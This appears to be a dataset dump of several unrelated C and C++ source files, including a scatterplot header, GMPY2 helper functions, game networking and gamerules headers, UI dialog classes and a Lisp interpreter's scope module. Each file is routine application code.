/* -------------------------------------------------------------------- */
/* This is an ADT to produce grace scatterplots. */
/* */
/* -------------------------------------------------------------------- */
/* Freely available software: see Appaserver.org */
/* -------------------------------------------------------------------- */
#ifndef SCATTERPLOT_H
#define SCATTERPLOT_H
#include "dictionary.h"
#include "list.h"
#include "aggregate_level.h"
/* Structures */
/* ---------- */
typedef struct
{
char *anchor_entity;
char *anchor_datatype;
LIST *compare_entity_name_list;
LIST *compare_datatype_name_list;
DICTIONARY *anchor_value_dictionary;
LIST *compare_value_dictionary_list;
LIST *plot_list;
} SCATTERPLOT;
typedef struct
{
char *entity_datatype;
DICTIONARY *dictionary;
} COMPARE_VALUE_DICTIONARY;
typedef struct
{
double anchor_value;
double compare_value;
} POINT;
typedef struct
{
char *anchor_entity_datatype;
char *compare_entity_datatype;
LIST *point_list;
} PLOT;
/* Prototypes */
/* ---------- */
SCATTERPLOT *scatterplot_new( void );
void scatterplot_populate_compare_value_dictionary_list(
DICTIONARY **anchor_value_dictionary_pointer,
LIST *compare_value_dictionary_list,
char *anchor_entity_datatype,
char *sys_string,
int measurement_date_time_piece,
int datatype_piece,
int value_piece,
char record_delimiter );
PLOT *scatterplot_get_or_set_plot(
LIST *plot_list,
char *anchor_entity_datatype,
char *compare_entity_datatype );
COMPARE_VALUE_DICTIONARY *scatterplot_compare_value_dictionary_seek(
char *compare_entity_datatype,
LIST *compare_value_dictionary_list );
LIST *scatterplot_get_compare_value_dictionary_list(
LIST *compare_entity_name_list,
LIST *compare_datatype_name_list );
COMPARE_VALUE_DICTIONARY *scatterplot_compare_value_dictionary_new(
char *entity_datatype );
PLOT *scatterplot_plot_new( char *anchor_entity_datatype,
char *compare_entity_datatype );
POINT *scatterplot_point_new( double anchor_value,
double compare_value );
LIST *scatterplot_get_plot_list(char *anchor_entity,
char *anchor_datatype,
LIST *compare_value_dictionary_list,
char *sys_string,
int measurement_date_time_piece,
int datatype_piece,
int value_piece,
char record_delimiter,
char entity_datatype_delimiter );
void scatterplot_output_scatter_plot(
char *application_name,
char *sys_string,
char *anchor_entity,
char *anchor_datatype,
char *sub_title,
char *appaserver_mount_point,
char *appaserver_data_directory,
LIST *compare_entity_name_list,
LIST *compare_datatype_name_list,
enum aggregate_level aggregate_level,
char *anchor_units,
LIST *compare_datatype_units_list,
int measurement_date_time_piece,
int datatype_piece,
int value_piece,
char record_delimiter,
char entity_datatype_delimiter );
#endif
|
#pragma once
namespace sudo {
/* ===================================================== */
/* ===================================================== */
typedef unsigned int uint;
typedef char GLchar;
typedef unsigned int GLenum;
typedef unsigned int GLbitfield;
typedef unsigned int GLuint;
typedef int GLint;
typedef int GLsizei;
typedef unsigned char GLboolean;
typedef signed char GLbyte;
typedef short GLshort;
typedef unsigned char GLubyte;
typedef unsigned short GLushort;
typedef unsigned long GLulong;
typedef float GLfloat;
typedef float GLclampf;
typedef double GLdouble;
typedef double GLclampd;
/* ===================================================== */
/* ===================================================== */
enum SudoBufferType {
VERTEX_ONLY,
VERTEX_COLOR,
VERTEX_COLOR_TEXTURE
};
/* ===================================================== */
/* ===================================================== */
#define SUDO_BEHAVIOUR override
// System macros
#define SYSTEM_API
// Graphics macros
#define GRAPHICS_API
#define MAX_PIXEL_SIZE_X 6000
#define MIN_PIXEL_SIZE_X 0
#define MAX_PIXEL_SIZE_Y 6000
#define MIN_PIXEL_SIZE_Y 0
// Window macros
#define WINDOW_API
// Time macros
#define TIME_API
#define DEFAULT_FPS_CAP 60
#define FIXED_UPDATE_MS 1000 / DEFAULT_FPS_CAP // ~0.16~
// Particle macros
#define PARTICLE_GRAVITY_Y 0.001f
} |
link ../../crypto/x509/x509.h |
/**
@file NetCommands.h
Contiene la declaración del componente que envia con cierta frecuencia
desde el servidor al cliente la posicion que existe en el servidor.
@author Rubén Mulero Guerrero
@date May, 2010
*/
#ifndef __Logic_NetCommands_H
#define __Logic_NetCommands_H
#include "Logic/Entity/Component.h"
#include <deque>
namespace Logic{
class CMessageControl;
class CMessageSyncPosition;
class CPhysicController;
class CInterpolation;
}
namespace Logic {
/**
@ingroup logicGroup
@author Rubén Mulero Guerrero
@date Febrero, 2013
*/
class CNetCommands : public IComponent {
DEC_FACTORY(CNetCommands);
public:
// =======================================================================
// CONSTRUCTORES Y DESTRUCTOR
// =======================================================================
/** Constructor por defecto. Inicializa el timer a 0. */
CNetCommands() : IComponent(), _timer(0), _seqNumber(0) {}
// =======================================================================
// METODOS HEREDADOS DE ICOMPONENT
// =======================================================================
/**
Inicialización del componente utilizando la información extraída de
la entidad leída del mapa (Maps::CEntity). Toma del mapa el atributo
speed que indica a la velocidad a la que se moverá el jugador.
Inicialización del componente a partir de la información extraida de la entidad
leida del mapa:
<ul>
<li><strong>syncPosTimeStamp:</strong> Tiempo de recolocacion del player </li>
</ul>
@param entity Entidad a la que pertenece el componente.
@param map Mapa Lógico en el que se registrará el objeto.
@param entityInfo Información de construcción del objeto leído del fichero de disco.
@return Cierto si la inicialización ha sido satisfactoria.
*/
virtual bool spawn(CEntity* entity, CMap *map, const Map::CEntity *entityInfo);
/**
Este componente acepta los siguientes mensajes:
<ul>
<li>SYNC_POSITION</li>
<li>CONTROL</li>
</ul>
@param message Mensaje a chequear.
@return true si el mensaje es aceptado.
*/
virtual bool accept(const std::shared_ptr<CMessage>& message);
//________________________________________________________________________
/**
Método virtual que procesa un mensaje.
@param message Mensaje a procesar.
*/
virtual void process(const std::shared_ptr<CMessage>& message);
protected:
/**
Método llamado en cada frame que actualiza la posicion flotante del item.
@param msecs Milisegundos transcurridos desde el último tick.
*/
virtual void onFixedTick(unsigned int msecs);
void sendControlMessage(const std::shared_ptr<CMessageControl>& message);
void acceptAndInterpolate(const std::shared_ptr<CMessageSyncPosition>& message);
void calculateInterpolation(const Vector3 &myPosition, const Vector3 &srvPosition);
void lerp();
private:
// =======================================================================
// MIEMBROS PRIVADOS
// =======================================================================
/** Timer para controlar cada cuanto se manda el mensaje de sincronizacion de la posicion del cliente. */
float _timer;
/** Limite de tiempo para mandar el mensaje de sincronizacion. */
float _syncPosTimeStamp;
/** non acknowledged messages buffer */
typedef std::pair <unsigned int,Vector3> TSyncMessage;
std::deque<TSyncMessage> _msgBuffer;
/** ack sequence number */
unsigned int _seqNumber;
/** lerp component */
CInterpolation* _interpolater;;
/** shortcut for entity phisic controller */
CPhysicController* _physicController;
/** min and max lerp distance */
float _minDist;
float _maxDist;
}; // class CUpdateClientPosition
REG_FACTORY(CNetCommands);
} // namespace Logic
#endif
|
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* gmpy_misc.c *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* Python interface to the GMP or MPIR, MPFR, and MPC multiple precision *
* libraries. *
* *
* Copyright 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, *
* 2008, 2009 Alex Martelli *
* *
* Copyright 2008, 2009, 2010, 2011, 2012 Case Van Horsen *
* *
* This file is part of GMPY2. *
* *
* GMPY2 is free software: you can redistribute it and/or modify it under *
* the terms of the GNU Lesser General Public License as published by the *
* Free Software Foundation, either version 3 of the License, or (at your *
* option) any later version. *
* *
* GMPY2 is distributed in the hope that it will be useful, but WITHOUT *
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or *
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public *
* License for more details. *
* *
* You should have received a copy of the GNU Lesser General Public *
* License along with GMPY2; if not, see <http://www.gnu.org/licenses/> *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
/* Miscellaneous module-level functions and helper functions. */
PyDoc_STRVAR(doc_license,
"license() -> string\n\n"
"Return string giving license information.");
static PyObject *
Pygmpy_get_license(PyObject *self, PyObject *args)
{
return Py_BuildValue("s", gmpy_license);
}
PyDoc_STRVAR(doc_version,
"version() -> string\n\n"
"Return string giving current GMPY2 version.");
static PyObject *
Pygmpy_get_version(PyObject *self, PyObject *args)
{
return Py_BuildValue("s", gmpy_version);
}
PyDoc_STRVAR(doc_cvsid,
"_cvsid() -> string\n\n"
"Return string giving current GMPY2 cvs Id.");
static PyObject *
Pygmpy_get_cvsid(PyObject *self, PyObject *args)
{
return Py_BuildValue("s", _gmpy_cvs);
}
PyDoc_STRVAR(doc_mp_version,
"mp_version() -> string\n\n"
"Return string giving the name and version of the multiple precision\n"
"library used.");
static PyObject *
Pygmpy_get_mp_version(PyObject *self, PyObject *args)
{
#ifndef __MPIR_VERSION
return Py2or3String_FromFormat("%s %s", "GMP", gmp_version);
#else
return Py2or3String_FromFormat("%s %s", "MPIR", mpir_version);
#endif
}
PyDoc_STRVAR(doc_mpfr_version,
"mpfr_version() -> string\n\n"
"Return string giving current MPFR version. Return None if MPFR\n"
"support is not available.");
static PyObject *
Pygmpy_get_mpfr_version(PyObject *self, PyObject *args)
{
#ifdef WITHMPFR
return Py2or3String_FromFormat("%s %s", "MPFR",
MPFR_VERSION_STRING);
#else
Py_RETURN_NONE;
#endif
}
PyDoc_STRVAR(doc_mpc_version,
"mpc_version() -> string\n\n"
"Return string giving current MPC version. Return None if MPC\n"
"support is not available.");
static PyObject *
Pygmpy_get_mpc_version(PyObject *self, PyObject *args)
{
#ifdef WITHMPC
return Py2or3String_FromFormat("%s %s", "MPC",
MPC_VERSION_STRING);
#else
Py_RETURN_NONE;
#endif
}
PyDoc_STRVAR(doc_mp_limbsize,
"mp_limbsize() -> integer\n\n\
Return the number of bits per limb.");
static PyObject *
Pygmpy_get_mp_limbsize(PyObject *self, PyObject *args)
{
return Py_BuildValue("i", mp_bits_per_limb);
}
/*
* access cache options
*/
PyDoc_STRVAR(doc_get_cache,
"get_cache() -> (cache_size, object_size)\n\n\
Return the current cache size (number of objects) and maximum size\n\
per object (number of limbs) for all GMPY2 objects.");
static PyObject *
Pygmpy_get_cache(PyObject *self, PyObject *args)
{
return Py_BuildValue("(ii)", global.cache_size, global.cache_obsize);
}
PyDoc_STRVAR(doc_set_cache,
"set_cache(cache_size, object_size)\n\n\
Set the current cache size (number of objects) and the maximum size\n\
per object (number of limbs). Raises ValueError if cache size exceeds\n\
1000 or object size exceeds 16384.");
static PyObject *
Pygmpy_set_cache(PyObject *self, PyObject *args)
{
int newcache = -1, newsize = -1;
if (!PyArg_ParseTuple(args, "ii", &newcache, &newsize))
return NULL;
if (newcache<0 || newcache>MAX_CACHE) {
VALUE_ERROR("cache size must between 0 and 1000");
return NULL;
}
if (newsize<0 || newsize>MAX_CACHE_LIMBS) {
VALUE_ERROR("object size must between 0 and 16384");
return NULL;
}
global.cache_size = newcache;
global.cache_obsize = newsize;
set_zcache();
set_pympzcache();
set_pympqcache();
set_pyxmpzcache();
#ifdef WITHMPFR
set_pympfrcache();
#endif
#ifdef WITHMPC
set_pympccache();
#endif
Py_RETURN_NONE;
}
|
/*H>> $Header: /4CReleased/V2.20.00/COM/softing/fc/CL/Librarian/CELibrarian/CEPassWordDlg.h 1 28.02.07 18:59 Ln $
*----------------------------------------------------------------------------*
*
* =FILENAME $Workfile: CEPassWordDlg.h $
* $Logfile: /4CReleased/V2.20.00/COM/softing/fc/CL/Librarian/CELibrarian/CEPassWordDlg.h $
*
* =PROJECT CAK1020 ATCMControlV2.0
*
* =SWKE 4CL
*
* =COMPONENT CELibrarian
*
* =CURRENT $Date: 28.02.07 18:59 $
* $Revision: 1 $
*
* =REFERENCES
*
*----------------------------------------------------------------------------*
*
*==
*----------------------------------------------------------------------------*
* =DESCRIPTION
* @DESCRIPTION@
*==
*----------------------------------------------------------------------------*
* =MODIFICATION
* 6/25/2001 SU File created
* see history at end of file !
*==
*******************************************************************************
H<<*/
#ifndef __CEPASSWORDDLG_H_
#define __CEPASSWORDDLG_H_
#if _MSC_VER >= 1000
#pragma once
#endif // _MSC_VER >= 1000
//---- Aggregate Includes: --------------------------------------*
//---- Forward Class Definitions: -------------------------------*
//---- Defines: ------------------------------------------------*
//---- Globals: ------------------------------------------------*
//---- Prototypes: ---------------------------------------------*
// CEPassWordDlg.h : Header-Datei
//
/////////////////////////////////////////////////////////////////////////////
// Dialogfeld CEPassWordDlg
class CEPassWordDlg : public CDialog
{
// Konstruktion
public:
CEPassWordDlg(CWnd* pParent = NULL); // Standardkonstruktor
// Dialogfelddaten
//{{AFX_DATA(CEPassWordDlg)
enum { IDD = IDD_CL_PASSWORD };
CString m_sPassWord;
//}}AFX_DATA
// Überschreibungen
// Vom Klassen-Assistenten generierte virtuelle Funktionsüberschreibungen
//{{AFX_VIRTUAL(CEPassWordDlg)
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV-Unterstützung
//}}AFX_VIRTUAL
// Implementierung
protected:
// Generierte Nachrichtenzuordnungsfunktionen
//{{AFX_MSG(CEPassWordDlg)
// HINWEIS: Der Klassen-Assistent fügt hier Member-Funktionen ein
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
//{{AFX_INSERT_LOCATION}}
// Microsoft Developer Studio fügt zusätzliche Deklarationen unmittelbar vor der vorhergehenden Zeile ein.
#endif // __CEPASSWORDDLG_H_
/*
*----------------------------------------------------------------------------*
* $History: CEPassWordDlg.h $
*
* ***************** Version 1 *****************
* User: Ln Date: 28.02.07 Time: 18:59
* Created in $/4CReleased/V2.20.00/COM/softing/fc/CL/Librarian/CELibrarian
*
* ***************** Version 1 *****************
* User: Ln Date: 28.08.03 Time: 16:31
* Created in $/4Control/COM/softing/fc/CL/Librarian/CELibrarian
*
* ***************** Version 2 *****************
* User: Oh Date: 6/25/01 Time: 3:32p
* Updated in $/4Control/COM/softing/fc/CL/Librarian/CELibrarian
*==
*----------------------------------------------------------------------------*
*/
|
/**
* vim: set ts=4 :
* =============================================================================
* SourceMod
* Copyright (C) 2004-2008 AlliedModders LLC. All rights reserved.
* =============================================================================
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License, version 3.0, as published by the
* Free Software Foundation.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program. If not, see <http://www.gnu.org/licenses/>.
*
* As a special exception, AlliedModders LLC gives you permission to link the
* code of this program (as well as its derivative works) to "Half-Life 2," the
* "Source Engine," the "SourcePawn JIT," and any Game MODs that run on software
* by the Valve Corporation. You must obey the GNU General Public License in
* all respects for all other code used. Additionally, AlliedModders LLC grants
* this exception to all derivative works. AlliedModders LLC defines further
* exceptions, found in LICENSE.txt (as of this writing, version JULY-31-2007),
* or <http://www.sourcemod.net/license.php>.
*
* Version: $Id$
*/
#ifndef __BOT_GAMERULES_H__
#define __BOT_GAMERULES_H__
#include <sp_vm_types.h>
enum eRoundState
{
// Initialize the game, create teams
RoundState_Init,
// Before players have joined the game. Periodically checks to see if enough players are ready
// to start a game. Also reverts to this when there are no active players
RoundState_Pregame,
// The game is about to start, wait a bit and spawn everyone
RoundState_StartGame,
// All players are respawned, frozen in place
RoundState_Preround,
// Round is on, playing normally
RoundState_RoundRunning,
// Someone has won the round
RoundState_TeamWin,
// Noone has won, manually restart the game, reset scores
RoundState_Restart,
// Noone has won, restart the game
RoundState_Stalemate,
// Game is over, showing the scoreboard etc
RoundState_GameOver,
// Game is over, doing bonus round stuff
RoundState_Bonus,
// Between rounds
RoundState_BetweenRounds,
};
class CGameRulesObject
{
public:
// Returns an integer from the gamerules entity
static int32_t GetProperty(const char *prop, int size = 4, int element = 0);
static void *GetGameRules();
static bool GetGameRules(char *error, size_t maxlen);
inline static void FreeMemory() { g_pGameRules = NULL; }
static void *g_pGameRules;
};
#endif |
///////////////////////////////////////////////////////////////////////
// UIImageSettings.h
// Contact: zhangjf
// Copyright (c) Duokan Corporation. All rights reserved.
//
////////////////////////////////////////////////////////////////////////
#ifndef __UIIMAGESETTINGSDLG_H__
#define __UIIMAGEREADERCONTAINER_H__
#include "GUI/UIImage.h"
#include "GUI/UIDialog.h"
#include "GUI/UITextSingleLine.h"
#include "DkSPtr.h"
typedef enum
{
IMAGE_SIZE_SECTION,
IMAGE_ROTATE_SECTION,
IMAGE_CARTOON_SECTION
}ImgDlgSection, *PImgDlgSection;
typedef enum
{
IMAGE_DISPLAY_ORIGINAL,
IMAGE_DISPLAY_ZOOMIN,
IMAFE_DISPLAY_ZOOMOUT
}ImgDisplay, *PImgDisplay;
typedef enum
{
IMAGE_ROTATE_NONE = 0,
IMAGE_ROTATE_90 = 90,
IMAGE_ROTATE_180 = 180,
IMAGE_ROTATE_270 = 270
}ImgRotate, *PImgRotate;
typedef enum
{
CARTOON_ALL,
CARTOON_LEFT_RIGHT,
CARTOON_RIGHT_LEFT
}CartoonMode, *PCartoonMode;
#define IMAGE_DISPLAY_OPTION_COUNT (3)
#define IMAGE_ROTATE_OPTION_COUNT (4)
#define IMAGE_CARTOON_MODE_COUNT (3)
class UIImageSettingsDlg : public UIDialog
{
public:
UIImageSettingsDlg(UIContainer *pParent);
virtual ~UIImageSettingsDlg();
virtual LPCSTR GetClassName() const
{
return "UIImageSettingsDlg";
}
HRESULT Initialize(INT iImgRotateAngle, CartoonMode eCartoonMode, ImgDisplay eImgSize = IMAGE_DISPLAY_ORIGINAL);
virtual BOOL OnKeyPress(INT32 iKeyCode);
INT GetImgRotateAngle();
CartoonMode GetCartoonMode();
ImgDisplay GetImgSizeSelected();
protected:
void Dispose();
virtual HRESULT DrawBackGround(DK_IMAGE drawingImg);
private:
HRESULT InitMember();
HRESULT InitUI();
void OnDispose(BOOL fDisposed);
private:
SPtr<ITpImage> m_spImgChecked;
SPtr<ITpImage> m_spImgUnchecked;
ImgDlgSection m_eImgCurSection;
BOOL m_bIsDisposed;
//image display section
UITextSingleLine m_imgDisplayTitle;
UITextSingleLine m_imgDisplayOptionTable[IMAGE_DISPLAY_OPTION_COUNT];
UIImage m_imgDisplayCheckIconTable[IMAGE_DISPLAY_OPTION_COUNT];
DK_RECT m_displayUnderlineAreaTable[IMAGE_DISPLAY_OPTION_COUNT];
ImgDisplay m_eImgDisplaySelected;
ImgDisplay m_eImgDisplayChecked;
//image rotate section
UITextSingleLine m_imgRotateTitle;
UIImage m_imgRotateOptionTable[IMAGE_ROTATE_OPTION_COUNT];
UIImage m_imgRotateCheckIconTable[IMAGE_ROTATE_OPTION_COUNT];
DK_RECT m_rotateUnderlineAreaTable[IMAGE_ROTATE_OPTION_COUNT];
ImgRotate m_eImgRotateSelected;
ImgRotate m_eImgRotateChecked;
//image cartoon section
UITextSingleLine m_imgCartoonTitle;
UIImage m_imgCartoonOptionTable[IMAGE_CARTOON_MODE_COUNT];
UIImage m_imgCartoonCheckIconTable[IMAGE_CARTOON_MODE_COUNT];
DK_RECT m_cartoonUnderlineAreaTable[IMAGE_CARTOON_MODE_COUNT];
CartoonMode m_eImgCartoonSelected;
CartoonMode m_eImgCartoonChecked;
};
#endif
|
/**
* Copyright 2013 by Benjamin J. Land (a.k.a. BenLand100)
*
* This file is part of L, a virtual machine for a lisp-like language.
*
* L is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* L is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with L. If not, see <http://www.gnu.org/licenses/>.
*/
#include "scope.h"
#include "binmap.h"
#include "parser.h"
NODE* scope_push(NODE *parent_scope) {
incRef(parent_scope);
NODE *scope = newNODE(NIL,parent_scope);
scope->datatype = DATA_SCOPE;
return scope;
}
NODE* scope_pop(NODE *scope) {
NODE *parent_scope = ((NODE*)scope->addr);
decRef(scope);
return parent_scope;
}
NODE* scope_ref(SYMBOL *sym, NODE *scope) {
debug("resolving: %s\n", sym_str(sym));
while (scope) {
debugVal(scope,"scope: ");
NODE *entry = binmap_find(sym,(NODE*)scope->data);
if (entry) return entry;
scope = (NODE*)scope->addr;
}
return NIL;
}
VALUE* scope_resolve(SYMBOL *sym, NODE *scope) {
NODE *ref = scope_ref(sym,scope);
failNIL(ref,"Unbound symbol: %s", sym_str(sym));
VALUE *val = ref->addr;
incRef(val);
decRef(ref);
return val;
}
void scope_bind(SYMBOL *sym, VALUE *val, NODE *scope) {
debugVal(val,"Binding %s => ", sym_str(sym));
incRef(val);
incRef(sym);
if (scope->data) {
binmap_put(sym,val,(NODE*)scope->data);
} else {
scope->data = (VALUE*)binmap(sym,val);
}
}
static bool scope_init_syms_flag = false;
static T_SYMBOL sym_rest;
static T_SYMBOL sym_optional;
void scope_init_syms() {
scope_init_syms_flag = true;
sym_rest = intern("&REST");
sym_optional = intern("&OPTIONAL");
}
void scope_bindArgs(NODE *vars, NODE *vals, NODE *scope) {
if (!scope_init_syms_flag) scope_init_syms();
bool optional = false;
while (vars) {
T_SYMBOL sym = asSYMBOL(vars->data)->sym;
if (sym == sym_rest) {
vars = asNODE(vars->addr);
if (vars->addr) error("&REST argument must be last");
incRef(vals);
scope_bind(asSYMBOL(vars->data),(VALUE*)vals,scope);
return;
} else if (sym == sym_optional) {
vars = asNODE(vars->addr);
optional = true;
scope_bind((SYMBOL*)vars->data,vals ? vals->data : NIL,scope);
} else if (optional) {
scope_bind((SYMBOL*)vars->data,vals ? vals->data : NIL,scope);
} else {
if (!vals) error("Not enough arguments to fill variables");
scope_bind((SYMBOL*)vars->data,vals->data,scope);
}
vars = asNODE(vars->addr);
if (vals) vals = asNODE(vals->addr);
}
if (vals) error("Too many arguments to fill variables");
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.